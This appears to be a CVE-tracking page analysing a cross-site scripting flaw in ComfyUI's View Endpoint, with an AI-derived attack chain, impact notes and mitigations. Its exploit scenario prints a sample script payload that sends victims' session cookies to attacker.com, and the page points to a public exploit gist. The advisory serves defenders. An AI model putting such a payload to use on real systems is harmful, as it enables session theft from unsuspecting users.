Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to ComfyUI
-
DeliveryCraft malicious View Endpoint payload
-
ExploitStore or share payload
-
InstallVictim navigates to endpoint
-
C2Browser parses unsanitized HTML
-
ExecuteJavaScript executes in victim context
-
ImpactAttacker harvests session/data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) Authenticated access to ComfyUI (PR:L) - the attacker or a collaborator must have a valid login account; (2) User interaction (UI:R) - the victim must click a link or view a page containing the malicious payload, either directly or by navigating to an attacker-controlled project or shared resource; (3) The View Endpoint must be enabled and accessible (typical default configuration); (4) The victim's browser must execute JavaScript (no special browser extensions or protections disabling scripts). Limiting factors: Network isolation of the ComfyUI server behind a firewall eliminates remote exploitation; running in single-user mode removes the multi-user attack vector; disabling JavaScript execution in the browser or sandboxing ComfyUI in a restricted browser context would block payload execution. Non-default configurations or security controls (e.g., Content Security Policy headers, if implemented) could mitigate the vulnerability even in authenticated scenarios. |
| Impact | Despite the low CVSS score of 3.5, this vulnerability carries moderate practical risk due to public exploit availability and authenticated access requirements. The CVSS vector reveals low-risk characteristics: AV:N (network-accessible) but PR:L (requires login), UI:R (requires user interaction), and limited scope (S:U, C:N, I:L, A:N). The E:P (exploit proof-of-concept exists) and RC:R (reproducible) modifiers confirm public weaponization. The real-world priority depends on deployment context: in multi-user ComfyUI instances (collaborative AI teams, cloud services), this poses moderate risk because authenticated users can execute scripts in other users' sessions; in single-user or air-gapped deployments, risk is minimal. The vendor's non-response to early disclosure is concerning and suggests no patched version may exist. This is NOT a critical vulnerability by raw metrics, but the public exploit combined with authenticated-only access creates a realistic escalation vector for lateral movement or privilege abuse in shared environments. |
| Exploit ScenarioDerived | An authenticated ComfyUI user logs into a shared ComfyUI instance. The attacker crafts a malicious URL or parameter containing JavaScript code (e.g., by manipulating the View Endpoint with a payload like <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>) and shares it via social engineering or stores it in a project file. When another user (or the admin) views this page through the View Endpoint, their browser executes the attacker's JavaScript, exfiltrating their session cookie or performing unauthorized API calls in their name. The publicly available GitHub exploit (gist.github.com/YLChen-007/1d91fabb465284d7a974746f7e6cc5cc) provides a ready-made payload, lowering the barrier to exploitation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 20, 2026
Cross-site scripting (XSS) in ComfyUI up to version 0.13.0 allows authenticated remote attackers to inject malicious scripts through the View Endpoint in server.py, affecting user integrity with publicly available exploit code. The vulnerability requires user interaction (UI:R) and authenticated access (PR:L), limiting its severity despite network accessibility. ComfyUI's vendor has not responded to early disclosure attempts, and the exploit has been published on GitHub, making this a low-CVSS but publicly weaponized vulnerability affecting an AI image generation framework.
RemediationAI
No vendor-released patch has been identified at time of analysis, as ComfyUI's maintainers did not respond to early disclosure. Immediate mitigations include: (1) Upgrade to a version newer than 0.13.0 if available (check the ComfyUI GitHub repository for releases post-disclosure); (2) If upgrade is not possible, restrict network access to the ComfyUI server by placing it behind a reverse proxy or firewall that only allows trusted IP addresses, reducing the attack surface despite the NV:N vector; (3) Implement strict input validation and output encoding in server.py's View Endpoint by escaping or sanitizing all user-supplied input before rendering it in HTML responses (e.g., using HTML entity encoding for user input); (4) Disable or restrict access to the View Endpoint feature if it is non-critical to your workflow; (5) Run ComfyUI in single-user mode or trusted environments only, eliminating the multi-user attack scenario where one user's script could affect another's session. Trade-offs: Network restriction may impact remote access usability; disabling the View Endpoint may limit functionality; patching server.py requires code modification skills and testing. Monitor the ComfyUI GitHub repository and VulDB for vendor updates.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
ComfyUI is a node-based UI for Stable Diffusion that provides a web-based server interface (server.py). The vulnerability exists in the View Endpoint component, which handles HTTP requests and responses. The root cause is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), indicating insufficient input sanitization or output encoding. The attacker can manipulate parameters or data passed to the View Endpoint, causing unsanitized content to be reflected or stored in the HTML response. When a victim user views the affected page in their browser, the injected JavaScript executes in their security context, potentially allowing session hijacking, credential theft, or actions performed on behalf of the victim user within the ComfyUI application.
Know when Comfyui gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
6DescriptionCVE.org
A vulnerability was found in ComfyUI up to 0.13.0. Affected by this issue is some unknown functionality of the file server.py of the component View Endpoint. Performing a manipulation results in cross site scripting. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in ComfyUI Multiple Vulnerabilities
View all 5Arbitrary file write via path traversal in ComfyUI before 0.30.0 lets an attacker place attacker-controlled content anyw
comfyanonymous/comfyui version v0.2.4 suffers from a non-blind Server-Side Request Forgery (SSRF) vulnerability. Rated h
A stored cross-site scripting (XSS) vulnerability exists in comfyanonymous/comfyui version 0.2.2 and possibly earlier. R
Remote code execution in ComfyUI v0.23.0 (and all prior 0.x releases) lets unauthenticated attackers run arbitrary Pytho
Stored cross-site scripting in ComfyUI (Comfy-Org) before 0.28.0 lets an attacker upload HTML or SVG to the per-user use
Stored cross-site scripting in ComfyUI before 0.28.0 lets an attacker upload a malicious SVG that the /view endpoint ser
Unauthenticated information disclosure in ComfyUI (comfy-org/comfyui) before 0.28.0 lets remote attackers read arbitrary
Path traversal arbitrary file read in ComfyUI (comfy-org) before 0.28.0 lets remote unauthenticated attackers probe arbi
EUVD-2026-23739
GHSA-643x-95vv-2wf6
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB